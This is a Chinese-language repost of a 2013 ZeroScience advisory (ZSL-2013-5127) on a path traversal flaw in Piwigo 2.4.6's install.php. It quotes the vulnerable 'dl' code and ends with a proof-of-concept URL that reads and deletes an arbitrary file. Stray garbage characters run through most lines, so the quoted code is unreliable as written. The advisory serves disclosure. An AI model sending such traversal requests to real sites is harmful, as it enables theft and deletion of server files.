Piwigo是用PHP编写的相册脚本。
2 @/ y7 M2 ^" J5 j. n
7 n0 J8 z# P! C! g2 VPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。8 T9 C0 d3 w1 a: L4 j; _
====================================================================$ f" H: m, y8 I/ Z N; v) p: ^
/install.php:3 }& c5 x* e$ r3 a8 {" h1 g( B6 |( D
-------------
2 |3 b9 a5 i* f' a; D113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& Z3 O$ C5 m) @8 y$ c. s8 q
114: {
& P' s& k5 M0 ?: W6 g* |$ ~ t115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
+ ~5 P6 y9 h3 Q, G116: header('Cache-Control: no-cache, must-revalidate');
/ U) [" \( ~% T" S3 y117: header('Pragma: no-cache');
7 L8 l& s: r7 j `% T- ?; |0 D( ? }& P118: header('Content-Disposition: attachment; filename="database.inc.php"');% v! e' V+ `7 ? T' N( r% i) N" N
119: header('Content-Transfer-Encoding: binary'); I- a H$ u' F
120: header('Content-Length: '.filesize($filename));
& b/ v+ W' z' h' V. o121: echo file_get_contents($filename);' @1 b, x8 b: X5 @! I* w$ y$ d
122: unlink($filename);. I! ?7 B; X i6 ~( i/ i" x, S
123: exit();
. Z4 a, ~# I; j$ {. ]3 I124: }
6 {3 d2 X, D; i9 W9 v3 e* K* n====================================================================. n0 x! X. |7 s; `- n5 q0 V: S
! T1 [* h6 M4 \Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. N8 t/ o- m/ X j Apache 2.4.2 (Win32)
. m; f4 }! U. T1 ~- k2 } PHP 5.4.44 b' o4 m' J) X# Q) ^, U
MySQL 5.5.25a& z' f8 V$ O9 Y, O6 N- B% C
' n% N6 Q8 V, V( m) u6 mVulnerability discovered by Gjoko 'LiquidWorm' Krstic; f, L) G7 K& M8 C" d
@zeroscience; V7 D) J- Y' n# L* a
6 o2 x7 k$ K: y0 d5 @5 d
Advisory ID: ZSL-2013-5127
& Y: D* X3 [/ {8 ]Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
, z0 w8 M8 p8 f KVendor Patch: http://piwigo.org/bugs/view.php?id=2843; x5 F+ v' N- [; B: ]0 B3 i
4 h9 M! C5 ~0 B$ D4 n* J, A15.02.20132 ?9 @) J) x9 b
7 q# k. f$ e. Q, G( O--
8 Q/ U3 @! [, U( bhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
1 P( K2 f% o3 L0 R; _ 4 G( h& G' a2 S5 \ m4 ?
|